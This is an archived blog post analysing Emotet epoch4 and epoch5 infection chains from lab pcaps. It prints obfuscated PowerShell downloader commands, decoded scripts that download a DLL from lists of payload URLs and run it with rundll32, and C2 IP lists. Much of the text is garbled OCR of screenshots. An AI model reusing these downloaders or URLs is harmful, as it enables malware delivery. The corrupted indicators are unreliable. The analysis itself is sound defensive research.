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[QuickNote] Emotet epoch4 & epoch5 tactics
Published: 2022-01-23 - Archived: 2026-04-05 18:27:39 UTC

This article is based on samples collected by Mr. Brad Duncan through his excellent lab: 2022-01-20
(THURSDAY) — EMOTET EPOCH 4 AND EPOCH 5 INFECTIONS

Emotet epoch4:

The time of the initial infection in the pcap file ( 2022-01-20-Emotet-epoch4-infection-with-spambot-
activity.pcap )is around 2022-01-20 19:37 UTC , when the victim clicks on the link in the spam mail, they will

access the address mangaloresoundandlights[.]com :

2022-01-20 19:37:43 10.1.20.1 53 10.1.20.102 ss027 ons.
asss2 104.21.41.20 8 e
13.107.42.16

52.153.155.231
Tor.21.41.20

Standard query response @xedd2 A man
49632 + 30 [SYN] Seq=0 Win-64240 Len
<onfig.edge. skype. con Client nello
api.edgeoffer.nicrosoft.con Client el
T GET /tage 11D

tandLights.con A 108.21.41.20 A 172.67.159.58
WS=256 SACK_PERN=1

ing ¥rentand/qa [VeDpzenaz] ATTE/L T

2022-01-20 19:37:43 10.1.20.102 104.21.41.29 s mangaloresoundandlights.con Client Hello

If the access is successful, the victim will be asked to download an Excel file similar to the image below (this file

will have a random name after each access. As in Mr. Brad Duncan’s summary, the file he downloaded has file
name: 12772684608453.xl1s ).

Wireshar o]

GET /stage-lighting-frontend/qmDjYcDpzeRAZ/ HTTP/1.1
Host: mangaloresoundandlights.com

“Connection: Keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Morilla/5.8 (Windows NT 18.@; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/97.@.4692.71 Safari/537.36 Edg/97.8.1872.62
Accept: text/html,application/xhtmlxml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: en

HTTP/1.1 381 Moved Permanently

Date: Thu, 2@ Jan 2022 19:37:43 GMT

Transfer-Enceding: chunked

Connection: keep-alive

Cache-Control: max-age=3600

Expires: Thu, 20 Jan 2822 20:37:43 GMT

Location: https://mangaloresoundandlights.com/stage-1ighting-frontend/qmDiVcDpzeRaz/
Report-To: {"endpoints”:[{ url”:"https:\/\/a.nel.cloudflare.com\/report\/v3?
s=lefXFvb6errRCjXFngPIVOUDPITQIdUCQS AL InCsSMINLbgCvel]1ZghX4TqRHL 617RikepBufAssmR1uKhgBbuwpxOnOUgekNAu3zLITBTshBq6otvKK1IbFnIUAWEeX2BNATFY jyFmwakER3D" }], "group” : "cf-
nel”,"max_age":564800}

NEL: {"success_fraction":@,"report_to":"cf-nel”, "max_age":664860}

vary: Accept-Encoding

Server: cloudflare

CF-RAY: 6dBac256f88c8dfd-MIA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

@ & https://mangaleresoundandlights.com/stage-lighting-frontend/qmDjYcDpzeR0Z/

Opening 4420619926.xls x |

‘You have chosen to open:
1 4420619926.xls

which is: Microsoft Excel (71.0 KB)
from: https://mangaleresoundandlights.com

‘What should Firefox do with this file? Flle PreVIeW Complalnt Report In XLS
Openvith | Browse.. is ready for open

Ofﬁave File

Didn't work? Try open again.
Do this automatically for files like this from now on.

Preview XLS
Cancel OK
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Analyzing the downloaded xIs file , this file uses XLM macro, when the victim opens and allows macro for
executing, it will call mshta.exe toload the fe2.html file at the address hxxp://0xb907d607 :

Xx, Name of Creating Application: Microsoft Excel, Create Time/Date: T

The host contains a hexadecimal representation of the IP address. Using CyberChef, I can converted the

hexadecimal numbers to retrieve the real IP address: 185[.]17[.]214[.]7

Recipe OmBs Input
0xh9B7d6@7|
Change IP format

Input format Output format

Hex Dotted Decimal

Oufhut ;:

185.7.214.7

The pcap file has result similar to the following:

|15127m 70 w2 10020002 49692 185.7.0847 ® FTC— 49692 + 80 [SYN] Seq-0 WinG5375 Len=0 N55=1468 W5+256 SACK PERI=L

2022-01-20 19:38:53 10.1.20.102 49692 185.7.214.7 50 HITP T 185.7.218.7 GET /fer/fer.htal HTTP/L.1

The above html file contains javascript, so mshta.exe will execute this script:

Javascript when executed will spawn Powershell process to download the fe2.png file at the same address.

Based on the powershell command, it can be seen that the png file will also be a powershell script.

PROCESS: powershell [&60]

FILE: C:\Windows\3ysWOW&4\WindowsPowerShell'vl.0\powershell.exe

CMDLINE: "C:\Windows‘\System32\WindowsPowerShell'wvl.0\powershell.exe™ -noexit $cl="{[GDOGLE}
[GO0GLE | Ne [ GOOGLE } [ GOOGLE | w[00GLE } -0Obi | GO0GLE | ec {G00GLE ) [GOOGLE} £ N{GOOGLE] [GOOGLE et {GOOGLE] W
[GOOGLE} {G00GLE}e'.replace (' {GDOGLE}', ''): $cd='bC{GOOGLE}1i[GDOGLE] {GOCGLE }en{G0O0GLE] {GO0GLE}
t) .D{GOOGLE] [ GOOGLE | ow [ GOOGLE] [ GOOGLE  nl {GOOGLE] [GOOGLE] [GOOGLE]l 0" . replace (' {GOOGLEL", ""):

$0a="5d ] GOORLEL {GOOGLF L SEIGOORTE L rin [ GO0GLE | {GO0GLE | g{GO0GLE] (' "ht {GD0GLE } tp
%GLE}:,-‘,-‘185.?.214.?!fer,ffe2.png”l‘ .replace (' {GOCGLE}', '');$JI=(5cl,$cd,$c3 ~Join '*) T E X
SJIIITE™X

Looking at the pcap file:

2807-81-39 19
253-Wl-39 19,

aneEn
[

- e 980 SYN] Seqe WHn=GATAD Lened MSS=LAGD WE<TEE SADC PRI
" WITE 185.7.204,7 wr r.pag STTRL. L

Compare the content between the file provided by Mr. Brad Duncan and the file I downloaded:
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Users\Public\Documents\ssd.dll" 'C:\Users\Public\Documents\ssd.dll";

*http://peterpolz. to-create.eu/cgi-bin/toROWVEIQUE/ *http://hindimedia.in/wp-content/uploads/iXntuGFqLE31oHsTh/" ;
“http://fr7.anbo5288.cc/~/Q7qLFrikJSlabny@snc/*; *https://child.dental/assets/fIU9vdmsLUoBd/
'https://schloss.stainz.at.to-create.eu/cgi-bin/az2rEM5i8hacCilt/ " ; *https://notesculture.com/wp—includes/aEouUH,
*http://realinvestdeal.con/nonetdh/ jENwrgafBTpeNwz/ " ; 5 *http://cambridge-business. con/cambridge-business.con/Qu/" ;
*https://mall.payarena.con/wp-content/2JioZBV/ " ; *http://myleadz . co/elenentor-pro/aldQmuCBoiiC/ " ;
‘https://wordpresse3.aftershipdemo. con/hqid/V2LDOvsK5Gg5edHb/ * ; ‘http://bahareh.shop/wp-admin/Z6nKfoYjv/*;
*https://pmfotografie. con/oiuxjun/3C3da27vIBnBcvajed/ " ; *http://demo.avionxpress .com/rbud/0arPThpwh/" ;
*https://lalibertad.apiperu.net.pe/assets/UF/*; *http://avionxpress.com/lp/HyMifM/ " ;

= *http://s-lifes.com/2vz3x6/UlisF/ rl9 = ‘http://api.task-lite.com/-/T3owojWSFnBduO6K/

New-Object net.webclient; $web = New-Object net.webclient;
"$urll, $url2, $url3, $urld, $urls, $url6, $url?, $url8, $urlo” . split(” $urls = "$urll,$url2, $url3, $urll, $urls,$urls, $url?, $url8, $urls”. split(
foreach ($url in $urls) { foreach ($url in $urls) {
try { try {

$web.DownloadFile($url, $path); $web.DownloadFile($url, $path);

if ((Get-Ttem $path).Length -ge 38088) { if ((Get-Ttem $path).Length -ge 30088) {
[Diagnostics.Process]; [Diagnostics.Process];
breal; break;

} 2 }
} }
catch{} cateh{}
}

Sleep -s 4;emd /c C:\Windows\SysWowsd\rundll32.exe 2 Sleep -s 4;emd /c C:\Windows\SysWowsd\rundll32.exe
*C:\Users\Public\Documents\ssd.dL1* , AnyString; *C:\Users\Public\Documents\ssd.dlL* ,AnyString;

Based on the content of the png file, it can be seen that this powershell script will iterate all the list of urls and try
download payload and save it under the name "C:\Users\Public\Documents\ssd.d11" . If the download is
successful, it will call rund1132.exe to execute ssd.dll .

I tried downloading the DII from one of the urls in the fe2.png file:

indimedia. in/
ndinedia.in (hindimedia.in)... 104
to hindimedia.in (hindimedia

612.00K 1.41M

(1.41 me/s) -

ble (DLL) (GUI) Int

all

49693 185.7.214.7 0 wTe Her/fer.png HTT
61780 16.1.20.1 5 o

10.1.20.102 61780 o 165.46,125.38
asesa 185.46.123.38 50 e K_PERM=1
49694 185.46.123.38 3 HrTE e
7511 10.1.20.1 53 ons #r cc
52 sz ons fr7.anbo5288. cc

.anbos288.cc A 128.199,157.63

19695 @ i ISS-1460 WS-256 SACK_PERM-1
49695 3 i fr7.anbos288. cc
49696 0 Tcp Lan-0 HSS-1460 WS-256 SACK_PERIM-1

2022-01-20 19 1.20.162 49697 100.24.231 50 TP 29697 + B [SYN) Seq=0 Win=65535 Len=d MSS=1460 WS: K_PERM=1
|2022-01-20 19:39:28 10.1.20.102 49698 104.217.88.125 aa3 i3 49698 » 443 [SYN] Seqed WinwsS535 Lensd MSS=1460 WS=256 SACK PERNe1
MDs sHAL crex2 SHA-25%6
T30S L6 TTT L2 chec a3 MB25cc0169667 243 cEE0aAT3aca 330 520401 463c138d52a052073063¢

From the DIl file provided by Mr. Brad Duncan as well as the DI file that I downloaded, it is easy to unpack the

emotet core DII:

File Edit View Options Help

| 0@ NA

Filenarne MD5 SHAL CRC32 SHA-256
& 2022-01-20-emotet-epochd-core_dil.bin T7c13d26ba33afdad28ab21f35ceB27 1b00f3b2b0c1da315812316ff22bf01bcbeafo8) dedb803c 931 cf2ec23e034d8677 ¢
o 55d_00380000_dumped_core_dll.bin T7c73d26ba33afdad29ab21f35ceB27 1b00f3b2b0c1da31581a316ff22bf01bcbeaf68) dedB903c 931 cf2ec23e034d8677 ¢

With Emotet’s core DIl unpacked, I can find and extract C2 configuration information as well as the keys used to

encrypt traffic and verify data:
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retn

EDFD endp

1001EEBS
B1EEBY
81EEBY
1001EEBO
1061EEBY ; B1EEBY@<eax=(int a
1001EEBY ] r CODE

; sub_10

1001EEBY
1001EEBY
1001EERD
1001EEBY

1001EEBY

00012289 1001EE89: sub_l BS (Synchronized with Hex View-1)

= (2 List=
131.100.24.231:80
209.59.138.75:7080
103.8.26.163:8088
51.38.71.0:443
212.237.17.99:8680
79.172.212.216:8088
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66: 8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124: 443
203.114.169.124:443
51.68.175.8:8080
$8.227.42.236:80
45.142.114.231:8088
217.182.143.267:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
£1.6.236.08:4u3
45.118.135.203:7088
176.164.106.96: 8080
212.237.56.116:7088
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185,72.26:8080
41.76.108.46:8080
212.237.5.269:443
107.182,225.142:8080
195.154,133.20:443
162.214.506.39:7080
110.232.117.186:8080

) Ic

The results obtained are similar to the analysis at https://tria.ge/220121-wxp5xaafb2. As described by Mr. Brad

Duncan, 33 minutes after the initial infection, the victim was turned into a spam-bot after being infected by the

malware.

2022-01-20 20:22:65 10.1.20.182 51214

Emotet epoch5:

ject: Sukamto
ject: , (text/htal)
s weekend's campout, (tex.

The time of the initial infection in the pcap file ( 2022-01-20-Emotet-epoch5-infection-with-spambot-
activity.pcap )is around 2022-01-20 17:46 UTC , when the victim clicks on the link in the spam mail, they will

access the address mt.yoshimax[.]net :

13.107.42.16 P

Client Hello

config.edge. skype. com

5727 ery response @xgb2s A api.edg
- =+ 443 [SYN] Seq-0 Win-64248 Len-8 MSS-1460.
52700 Standard query respon:

s a3 o [svi] 5

s ffer miccosal 1o

n CHAME bingads edgeentension-prod. traff..
A1

At the time of blogging,

provided for further analysis:

<« ¢ @ O & m

t.yoshimax.net/:

Standard query respense @x238f A . google.con A 142.250.138.105 A 142.250.135.103 A 142.250.138.

this address is no longer accessible. Therefore, I will use the files that Mr. Brad Duncan

Forbidden

r —
M Wireshark - Export - HTTP object list

You don't have permission to access this resource.Server unable to read htaccess file, denying access to be safe
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-
Packet | Hostname Content Type Size Filename
511 mt.yeshimax.net text/htrml 72kB Tname=Eddie¥%20Money
Y mt.yeshimax.net application/vnd.openxmiformats-officedecurment.... 50 kB fi=1
942 185.7.214.7 text/html 11 kB fel.html
952 1857.214.7 image/png 1094 bytes fel.png
15394 kastamonulezzetrehbericom  application/x-msdownload 573 kB EXnCl
1691 1460 bytes
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Analyze excel file: 2022-01-20-Emotet-epoch5-Excel-file.bin . Similar to the above epoch4, its macro code is

as follows:

FUSCATED EXC
Full

PartialEvaluation
End

2022-01-20 17:47:4;
2622-01-26 17:47::

210.1.20.101 49689
1.36.161 49

) TP 49689 + 89 [SYN] Seq=0 Win=65535 Len=@ MSS=146@ WS=256 SACK_PERM=1
w574 ET /fer/fel.htnl HITP.

The javascript in the file 2022-01-20-Emotet-epoch5-fel.html.txt when executed will spawn powershell

process to download the png file (also a powershell script):

FROCESS: powershell [3624]

FILE: C:\Windows\SyaWOWe4\WindowsPowerShell'vl.0\powershell.exe

CMDLINE: "C:\Windowa‘\3ystem32\WindowsPowerShell\wl.0\powershell.exe™ -noexit $cl="({GZ00GLE}
{GDDGLE}NE{EDDELE}{EDGGLE}W{GGDELE}—Dbj{FDDGLE}EC{GDGGLE}{GEDGLE}t N{&Z00GLE] {GOOGLE]l et {GOOGLE] . W
{GO0GLE} [GOOGLE e .replace (" [GOOGLE} ", ''); $c4="bC{GDOGLE]1li{&OOGLE] [&00GLE}en|&00GLE]} [ GOOGLE]
t) .D{GOOGLE ]} { GOOGLE } ow { GOOGLE } { GOOGLE}nl {GOOGLE} {GOOGLE} { GO0GLE} o' . replace (' {GOOGLE}", "");
£c3='ad{GOOGLE} [GOOGLE} St {G00GLE} rin{GOOGLE] [GOOGLE} g {GOOGLE} (' "ht {GDOGLE} tp
GOOGLE]://185.7.214.7/fer/fel.png" ") | .replace (" [GOOGLE]", ""):;8JI=(scl,%cd,sc3 -Join "");I'E"X
SIIITE"X

2022-61-20 17:47:45 10.1.26.161 49690 185.7.214.7 [ Tcp 43630 » B0 [SYN] Seq=b Win=64240 Len=8 MSS=1450 WS=256 SACK PERM=1
2622-01-20 17:47:45 10.1.26.161 49696 185.7.214.7 ) HTTP 85.7.214.7 GET [fer/fel.png HTTP/1.1

The content of the file fel.png is as follows:

2-01-20-Emotet-epoch5-fel.png.txt

$path "C:\Users\Public\Documents\ssd.dll";

$urll = 'http://kastamonulezzetrehberi.com/cszc/EXn0J/" ;

$url2 = 'http://papercrownillustrations.com/bvp9yk/iTD5WQoYxczIkdz/";
$url3 = 'http://rankwpfront.onrender.com/c6owfl/giybddDUSrk8vC/" ;
$urld = 'http://phumyhungcorp.com/wp-content/jQubwvvu7BhEEctJI/ " ;
$url5 = 'https://primeanyalytics.com/Fox-SS/CICLU/";

$urlé = "http://myshoppee.com/Fox-CUeL/UnICTWaTMEDCL/ " ;

$url7 = 'http://23.254.231.129/urmedslme.com/qb725b0/" ;

$url8 = 'http://geetanjaliconstructions.com/gallery_js/jRau/';
$url9 = 'http://markat.thinkgeniux.live/Bhbg/fuSHRP6GW/ ' ;

$urlle = 'https://matrockdrill.com/__MACOSX/TKKBmTWKEXk/" ;

S v
HFe2wouoo-dJhmEWMNE

[
v

=
w

fweb = New-Object net.webclient;

$urls =

"$urll, $url2, $url3, $urld, $urls, $url6, $url?, $urls, $urlo, $urlie”.split(",");

foreach ($url in $urls) {

Potry {
i $web.DownloadFile($url, $path);

if ((Get-Item $path).Length -ge 30000) {

¢ [Diagnostics.Process];

break;

=
=1

};

}
catch{}

}
Sleep -s U;emd /c C:\Windows\SysWowsU\rundll32.exe
'C:\Users\Public\Documents\ssd.dll',AnyString;

Like above, this script also browses the urls to download the dll file and saves it as sdc.dll . Then, call
rundl132.exe to execute the sdc.dll file saved at the path "C:\Users\Public\Documents\ssd.d11" .
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o6y 10.1.20.1 5 ons ehberi.com Standard query 6x¢134 A kastamonulezzetrehberd. con
el d . G
49692 204.79.197.280 443 i 49692 + 443 [SYN] Seq=0 Win=65535 Len=0 MSS5=1460 WS=256 SACK_PEI
29692 204.79.197.200 443 Tisvi.2 wene. bing . com Client Hello
HashMyFiles =B %
File Edit View Options Help
& 0| RN N |
Filename MD5 SHAL CRC32 SHA-256
£ 2022-01-20-Emotet-epochS-DLL.bin 6d570344123d0c4a151c51b756289d22 2354735 dfed019a09a2631 b4fEb2d714144682..,  440286ef 64eb1279e209775487

! Exeinfo PE - ver.0.0.6.6 by AS.L - 1096+107 sign 2021.05.16

2022-01-20-Emotet-epoch5-DLL.bin

Entry Point : 0002C654 00 EP Section :  _text
File Offset : 0002C654 First Bytes :  83,7C.24,08,01
Linker Info : 8.00 SubSystem @ Windows GUI

Fie Sze :  0008C000h Overlay:  NO 000D0ODO

DLL 32 bit- Lbrary image RES/OVL:5 /0% 2022

Microsoft Visual C++ wer. 8.0 DLL - cmp [esp][8],1
Lamer Info - Help Hint - Unpack info
Not packed , try www.ollydbg.de or x64 debug www.x64dbg.com

[P

Easily unpack to get Emotet core DII:

Filename MD5 SHAL CRC32 SHA-256
&5 2022-01-20-em otet-epoch5-core_dll bin 389a252d65498fced 38738a5f9b5000e 871a3beTBee57c705e5caa5f1 cBETdad%aaaTd... eddael7d 03d9ed197cbba?
E PE-bear v0.5.5 [C\Users\REM\Desktop\Ematet\epoch5'2022-01-20-emotet-epoch5-core_dll.bin] [ =B J

File Settings View
[Ez 2022-01-20-emotet-epoch5-co...
B DOS Header
®  DOS stub
P NT Headers
Signature
P File Header
P Optional Header

General | DOS Hdr | Rich Hdr | File Hdr | Optional Hdr | Section Hdrs
=+ EP = 15795

. .rdata

MName Value Meaning

Characteristics 0
61004600
0

Function R Narme RVA Name Forwarder
al DlIRegisterServ

With Emotet’s core DIl unpacked, I can extract C2 configuration information as well as the keys used to encrypt

traffic and verify data:
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= €2 List=
45.138.98.34:860
.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191,252.103.16:80
104.131.62.48:8880
62.171.178.147:8080
217.182.103.207: 443
168.197.250.14:80
37.44,244,177:8080
66.42.57.149:4u3
210.57.209.142:8080
159.69.237.188:4u3
116.124.128.206:8680
128.199.192.135:8080
195.154.146.35:4u3
185.148.168.15:8080
195.77.239.39:8880
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.264,80:4u3
37.59.209.141:8680
54.37.228.122:443

nc

HOGAE 2DWT1
BvgPOL7a

epoch5>

The results obtained are similar to the analysis at https://tria.ge/220123-j3vwbafeel. As described by Mr. Brad

Duncan, 26 minutes after the initial infection, the victim was turned into a spam-bot after being infected by the

malware.

Other notes:

Destrasan
200.57

Daarex  Dam

I also observed another Emotet spam campaigns using octal representations of IP addresses, the malicious Excel

file also uses XML macro to run the malware once the document is opened and enabled by victim.

PartialE
End

Recipe

Fork

Split delimiter

Change IP format
Input format
Octal

Find / Replace
Find

.0.0.

Replace

. Global match

D Dot matches al

Refs:

Merqge delimiter

put format

Dotted Decimal

D Case insensitive

D Ignore errors

outiit #-

46.105.81.76

Multiline matching
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https://www.virustotal.com/gui/file/c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15/detection
https://kienmanowar.wordpress.com/wp-content/uploads/2022/01/image-27.png
https://kienmanowar.wordpress.com/wp-content/uploads/2022/01/image-27.png
https://gchq.github.io/CyberChef/
https://kienmanowar.wordpress.com/wp-content/uploads/2022/01/image-28.png
https://kienmanowar.wordpress.com/wp-content/uploads/2022/01/image-28.png

https://kienmanowar.wordpress.com /2022 /01 /23 /quicknote-emotet-epoch4-epoch5-tactics/

e Emotet: Dangerous Malware Keeps on Evolving

[RE019] From A to X analyzing some real cases which used recent Emotet samples

How the new Emotet differs from previous versions
e OALabs — Emotet Analysis Note

Regards,

m4n0w4r

Source: https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/
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https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de
https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html
https://intel471.com/blog/emotet-returns-december-2021
https://github.com/OALabs/Lab-Notes/blob/main/Emotet/Emotet.ipynb

